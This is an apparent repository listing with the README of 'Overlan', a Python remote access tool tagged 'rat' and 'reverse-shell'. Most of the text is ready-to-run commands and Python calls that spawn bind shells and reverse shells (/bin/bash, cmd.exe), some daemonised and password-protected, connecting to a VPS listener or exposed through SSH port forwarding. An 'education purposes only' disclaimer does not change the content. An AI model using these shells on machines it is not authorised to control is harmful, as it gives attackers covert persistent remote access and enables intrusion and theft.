https://github.com/yannbouyeron/overlan
Python Remote Access Tools
https://github.com/yannbouyeron/overlan
bind-shell connect listen port-forwarding python rat reverse-shell ssh tcp
Last synced: 7 months ago
JSON representation
Python Remote Access Tools
- Host: GitHub
- URL: https://github.com/yannbouyeron/overlan
- Owner: YannBouyeron
- License: gpl-3.0
- Created: 2022-06-29T14:48:24.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2024-05-11T14:21:27.000Z (over 1 year ago)
- Last Synced: 2025-01-11T00:28:38.830Z (9 months ago)
- Topics: bind-shell, connect, listen, port-forwarding, python, rat, reverse-shell, ssh, tcp
- Language: Python
- Homepage:
- Size: 59.6 KB
- Stars: 0
- Watchers: 3
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE.txt
Awesome Lists containing this project
README
# Overlan
Python Remote Access Tools
## Functionality
- Remote port forwarding (http & tcp)
- Local port forwarding (http & tcp)
- TCP listen
- TCP connect
- Unbreakable Bind Shell
- Unbreakable Reverse Shell
- Auto spawn pty (Unix only)
- AES derivation password protected
- Cross Platform
## Disclamer
THIS SOFTWARE IS INTENDED ONLY FOR EDUCATION PURPOSES! DO NOT USE IT TO INFLICT
DAMAGE TO ANYONE! USING MY APPLICATION YOU ARE AUTHOMATICALLY AGREE WITH ALL RULES AND
TAKE RESPONSIBITITY FOR YOUR ACTION! THE VIOLATION OF LAWS CAN CAUSE SERIOUS CONSEQUENCES!
THE DEVELOPER ASSUMES NO LIABILITY AND IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE
CAUSED BY THIS PROGRAM.
## Intended for
+ Windows systems
+ Unix systems
## Requirements
+ pycryptodome
+ paramiko
## Install Overlan
git clone https://github.com/YannBouyeron/overlan
cd overlan
python3 setup.py install
## Create SSH tunneling server and user on your VPS (Facultative)
Port forwarding requires using your own VPS with an SSH server. This allows you to expose a local service such as a http web server or tcp listener or bind shell on the internet.
Create tunneling restricted user overlan:
sudo adduser overlan
Go to /etc/ssh
cd /etc/ssh
Add resticted user overlan to sshd_config:
Match User overlan
AllowTcpForwarding yes
X11Forwarding yes
PermitTunnel yes
GatewayPorts yes
AllowAgentForwarding no
#PermitOpen localhost:62222
ForceCommand echo "no shell - only tunneling"
PasswordAuthentication yes
Restart sshd:
sudo service sshd restart
You have now a restricted user:
{
"hostname":"",
"username":""
"port":"<22 or another port>"
"password":""
}
**Security Warning: If GatewayPorts is yes, enable remote forwarded bind shell without AES encryption is very dangerous ! Anybody can scan your IP and discover port running your remote forwarded bind shell and connect to it !**
## Commands Line Interface
#### Listen
Listen on localhost port 4444
overlan -l 4444
Listen on localhost port 4444 password protected
overlan -l 4444 -k mysecret
Listen on port 4444 and remote forward to your VPS port 8888
overlan -l 4444 -R username:hostname:port:password:8888
#### Connect
Connect to localhost port 4444
overlan localhost 4444
Connect to localhost port 4444 password protected
overlan localhost 4444 -k mysecret
Connect to your VPS port 4444
overlan hostname 4444
#### Port forwarding
###### Overlan
Remote forward localhost 4444 to your VPS port 8888
overlan 4444 -R username:hostname:port:password:8888
Local forward from your VPS port 8888 to localhost 4444
overlan 4444 -L username:hostname:port:password:8888
Local forward from your VPS port 8888 to 0.0.0.0 4444
overlan 0.0.0.0 4444 -L username:hostname:port:password:8888
###### SSH
Remote forward localhost 4444 to your VPS port 8888
ssh -N -R 8888:localhost:4444 username@hostname -p 22
Local forward localhost 4444 from your VPS port 8888
ssh -N -L 4444:localhost:8888 username@hostname -p 22
#### Bind Shell
Unix
- `overlan -l 4444 -e /bin/bash` - BindShell listen on localhost port 4444.
- `overlan -l 4444 -e pty:/bin/bash` - Interactive PTY BindShell listen on localhost port 4444. (Don't support password)
- `overlan -l 4444 -e pty:/bin/bash -R username:hostname:port:password:8888` - Interactive PTY BindShell listen on localhost port 4444 and remote forward to your VPS port 8888. (Don't support password)
- `overlan -l 4444 -e /bin/bash -R username:hostname:port:password:8888` - BindShell listen on port 4444 and remote forward to your VPS port 8888.
- `overlan -l 4444 -e /bin/bash -k mypassowrd` - Password protected BindShell listen on localhost 4444.
- `overlan -l 4444 -e /bin/bash -k mypassword -R username:hostname:port:password:8888` - Password protected BindShell listen on port 4444 and remote forward to your VPS port 8888.
Windows
- `overlan -l 4444 -e cmd.exe` - BindShell listen on localhost port 4444.
- `overlan -l 4444 -e cmd.exe -R username:hostname:port:password:8888` - BindShell listen on port 4444 and remote forward to your VPS port 8888.
- `overlan -l 4444 -e cmd.exe -k mypassowrd` - Password protected BindShell listen on localhost port 4444.
- `overlan -l 4444 -e cmd.exe -k mypassword -R username:hostname:port:password:8888` - Password protected BindShell listen on port 4444 and remote forward to your VPS port 8888.
#### Reverse Shell
Unix
- `overlan localhost 4444 -e /bin/bash` - ReverseShell connect to listener on localhost port 4444.
- `overlan localhost 4444 -e pty:/bin/bash` - Interactive PTY ReverseShell connect to listener on localhost port 4444. (Don't support password)
- `overlan hostname 4444 -e /bin/bash` - ReverseShell connect to listener on your VPS port 4444.
- `overlan localhost 4444 -e /bin/bash -k mypassowrd` - Password protected ReverseShell connect to localhost port 4444.
- `overlan hostname 4444 -e /bin/bash -k mypassowrd` - Password protected ReverseShell connect to your VPS port 4444.
Windows
- `overlan localhost 4444 -e cmd.exe` - ReverseShell connect to listener on localhost port 4444.
- `overlan hostname 4444 -e cmd.exe` - ReverseShell connect to listener on your VPS port 4444.
- `overlan localhost 4444 -e cmd.exe -k mypassowrd` - Password protected ReverseShell connect to localhost port 4444.
- `overlan hostname 4444 -e cmd.exe -k mypassowrd` - Password protected ReverseShell connect to your VPS port 4444.
## Help
- `overlan -h` - Print help message and exit.
```
usage: overlan [-h] [-l] [-e EXECUTE] [-c] [-R REMOTE] [-L LOCAL] [-k KEY]
[-d DELAY]
[host] port
positional arguments:
host
port
optional arguments:
-h, --help show this help message and exit
-l, --listen Listen on port specified
-e EXECUTE, --execute EXECUTE
Executable: /bin/bash, /bin/sh, cmd.exe
-c, --connect Connect to host and port specified
-R REMOTE, --remote REMOTE
Remote forward to
::::
-L LOCAL, --local LOCAL
Local forward from
::::
-k KEY, --key KEY Password for AES derivation key
-d DELAY, --delay DELAY
Timeout delay
```
## Use within python
Use on LAN:
```
from overlan import Overlan
v = Overlan()
```
Use on internet: Specify your VPS SSH server:
```
from overlan import Overlan
v = Overlan(username=<...>, hostname=<...>, port=<...>, password=<...>)
```
Listen
```
v.listen()
```
Connect:
```
v.connect(, )
```
Remote forward:
```
v.rf(, )
```
Local forward:
```
v.lf(, )
```
BindShell:
```
# linux
v.listen(, executable="/bin/bash", key="somesecret")
# windows
v.listen(, executable="cmd.exe", key="somesecret")
# as daemon
v.bs(, executable="/bin/bash", key="somesecret")
```
ReverseShell:
```
#linux
v.connect(, , executable="/bin/bash", key="somesecret")
# windows
v.connect(, , executable="cmd.exe", key="somesecret")
# as daemon
v.rs(, , executable="/bin/bash", key="somesecret")
```